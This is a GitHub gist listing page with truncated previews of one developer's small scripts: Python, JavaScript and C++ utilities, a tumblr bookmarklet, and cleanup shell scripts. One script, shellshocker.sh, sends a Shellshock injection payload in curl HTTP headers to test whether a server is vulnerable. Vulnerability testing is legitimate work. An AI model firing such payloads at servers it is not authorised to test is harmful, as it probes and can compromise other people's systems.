Skip to content

Instantly share code, notes, and snippets.

View panzi's full-sized avatar

Mathias Panzenböck panzi

View GitHub Profile
@panzi
panzi / example.py
Created February 10, 2014 21:23
Simple switch-case like thing for Python. I don't recommend using this or anything similar. This is just an exercise.
#!/usr/bin/env python
import re
from switch import switch
case = switch("Foo")
if case("bar"): # False
print repr("bar")
@panzi
panzi / expand_patterns.js
Last active June 18, 2017 12:31
Static share links template.
// expand {{PATTERNS}}
// You can do this serverside. I just did it this way for demonstration purposes.
(function () {
"use strict";
var shares = document.querySelectorAll("ul.share > li > a");
var keywords = document.querySelector('meta[name=keywords]').getAttribute("content");
var description = document.querySelector('meta[name=description]').getAttribute("content");
var params = {
URL: encodeURIComponent(document.querySelector('link[rel=canonical]').getAttribute("href")),
The really strange thumbr theme you are using causes some very strange things.
It loads some other website in a "fullscreen" iframe that then in turn loads your
tumblr in another iframe. This causes the Browser Ponies JavaScript to be executed
twice, once in the toplevel frame and once in the inner most iframe. However the
ponies in the toplevel frame are somehow not visible, but they still cost CPU power.
Anyway, if you want to have the ponies always in the background, add this to the
source of your tumblr:
<style type="text/css">#content { position: relative; z-index: 100000000; }</style>
@panzi
panzi / vsearch.py
Last active August 29, 2015 14:02
search for vertical string in text file: python vsearch.py <search-string> [filename...]
#!/usr/bin/env python
from __future__ import with_statement, print_function
from collections import deque
from itertools import islice
def vertical_search(needle,haystack):
needle = tuple(needle)
n = len(needle)
if n == 0:
@panzi
panzi / is_iterable.cpp
Created August 9, 2014 23:02
Match arrays and classes that implement methods needed to be iterable.
// $ g++ -Wall -Wextra -Werror -pedantic -std=c++1y is_iterable.cpp -O3 -o is_iterable
#include <type_traits>
#include <iterator>
#include <iostream>
#include <iomanip>
#include <vector>
#include <list>
#include <array>
#include <set>
#include <map>
@panzi
panzi / cmake_uninstall.sh
Created August 12, 2014 18:16
A trivial shell script that deletes the files logged in install_manifest.txt (as written by cmake).
#!/bin/sh
if [ $# -eq 0 ]; then
manifest=install_manifest.txt
elif [ -d "$1" ]; then
manifest="$1/install_manifest.txt"
else
manifest="$1"
fi
@panzi
panzi / bookmarklet.md
Last active August 29, 2015 14:05
Bookmarklet to find bigger version of an image on tumblr.

Copy this link and create bookmark with this as it's URL in your bookmark toolbar:

javascript:(function(){"use strict";function t(t){function l(e){var t=new XMLHttpRequest;t.onload=function(){if(this.status>=200&&this.status<400){a.push(e)}};t.onloadend=c;t.open("HEAD",r+e+s,true);t.send();++f}function c(){--f;if(f===0){if(a.length>0){a.sort(function(e,t){return e-t});var e=r+a[a.length-1]+s;location.href=e}else{alert("No bigger image found.")}}}var n=/^(.*_)(\d+)(\.[a-z]+)$/i.exec(t);if(!n){alert("Not a tumblr image URL.");return}var r=n[1];var i=Number(n[2]);var s=n[3];var o=null;for(var u=0;u<e.length;++u){if(e[u]>i){o=u;break}}if(o===null){alert("There is no bigger known size.");return}var a=[];var f=0;for(var u=o;u<e.length;++u){l(e[u])}}var e=[75,100,250,400,500,1280];t(location.href)})()

Then when you view a tumblr image and suspect that there is a bigger version of it click this bookmarklet.

@panzi
panzi / shellshocker.sh
Created September 25, 2014 15:15
Tool to test if your server is affected by the shellshock vulnerability. Please use it responsibly.
#!/bin/bash
url="$1"
tag=`uuid`
payload="() { :;};echo;echo $tag;exit"
vulnerable=0
function shellshock () {
header="$1"
response=`curl --header "$header: $payload" --silent --insecure "$url"`
@panzi
panzi / bitfield.js
Created October 4, 2014 04:43
JavaScript bit field class with Base64 serialization.
var BitField = (function () {
"use strict";
function BitField (bits) {
if (Array.isArray(bits)) {
return BitField.fromJSON(bits);
}
else if (typeof bits === "string") {
return BitField.fromBase64(bits);
}
@panzi
panzi / vacuum_all.sh
Created October 8, 2014 14:08
Find SQLite files and vacuum them. (E.g. to really clear deleted browser history.)
#!/bin/sh
# Usage: ./vacuum_all.sh ~/.config/google-chrome ~/.mozilla
find "$1" -type f -print0|while read -d $'\0' fname; do
type=`file -b "$fname"`
case "$type" in
SQLite*)
echo "$fname"
sqlite3 "$fname" "VACUUM;" || exit $?